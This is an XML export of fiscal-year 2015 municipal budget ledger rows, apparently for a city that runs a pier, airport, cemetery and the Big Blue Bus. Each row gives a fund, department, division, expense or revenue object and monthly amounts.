<row _id="15803"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2659.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2659.0</total></row>
<row _id="15804"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>53477.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>53477.0</total></row>
<row _id="15805"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408010.0</object><object_description>REVIEW OF PLANNING APPLICATION</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-8500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8500.0</total></row>
<row _id="15806"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-6838.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6838.0</total></row>
<row _id="15807"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>578950.0</object><object_description>ADMIN - CON PLAN/ACTION PLAN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>22600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22600.0</total></row>
<row _id="15808"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>672.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>672.0</total></row>
<row _id="15809"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2983.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2983.0</total></row>
<row _id="15810"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15811"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555061.0</object><object_description>PROF SERVICES-GF</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15812"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1215.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1215.0</total></row>
<row _id="15813"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>215.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>215.0</total></row>
<row _id="15814"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401680.0</object><object_description>UNDERGROUND TANK PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-81546.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-81546.0</total></row>
<row _id="15815"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2632.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2632.0</total></row>
<row _id="15816"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-152558.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-152558.0</total></row>
<row _id="15817"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577520.0</object><object_description>INVESTMENT TRANSFERS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-423337.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-423337.0</total></row>
<row _id="15818"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401311.0</object><object_description>CONTRACT CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15819"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401750.0</object><object_description>MUSEUM UTILITY REIMBURSE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-6000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6000.0</total></row>
<row _id="15820"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9070.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9070.0</total></row>
<row _id="15821"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2280.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2280.0</total></row>
<row _id="15822"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1060.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1060.0</total></row>
<row _id="15823"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15824"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3796.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3796.0</total></row>
<row _id="15825"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15826"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="15827"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533240.0</object><object_description>PIER MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>351780.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>351780.0</total></row>
<row _id="15828"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1960.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1960.0</total></row>
<row _id="15829"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533290.0</object><object_description>LANDSCAPE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>26000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26000.0</total></row>
<row _id="15830"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544440.0</object><object_description>WEBSITE DEVOP &amp; MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5900.0</total></row>
<row _id="15831"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>37666.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37666.0</total></row>
<row _id="15832"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>405875.0</object><object_description>HOMEWORK CLUB</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15833"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15270.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15270.0</total></row>
<row _id="15834"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408140.0</object><object_description>ABOVE GROUND TANK PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-12138.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12138.0</total></row>
<row _id="15835"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556100.0</object><object_description>EMBALMING/CREMATION/DECEDENT C</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>52000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52000.0</total></row>
<row _id="15836"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>30911.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30911.0</total></row>
<row _id="15837"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>428109.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>428109.0</total></row>
<row _id="15838"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2306.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2306.0</total></row>
<row _id="15839"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522311.0</object><object_description>DISCOUNTS AVAILABLE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15840"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="15841"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="15842"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="15843"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9400.0</total></row>
<row _id="15844"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>117438.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>117438.0</total></row>
<row _id="15845"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10620.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10620.0</total></row>
<row _id="15846"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6548.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6548.0</total></row>
<row _id="15847"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>611.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>611.0</total></row>
<row _id="15848"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>562577.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>562577.0</total></row>
<row _id="15849"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5099.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5099.0</total></row>
<row _id="15850"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>414.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>414.0</total></row>
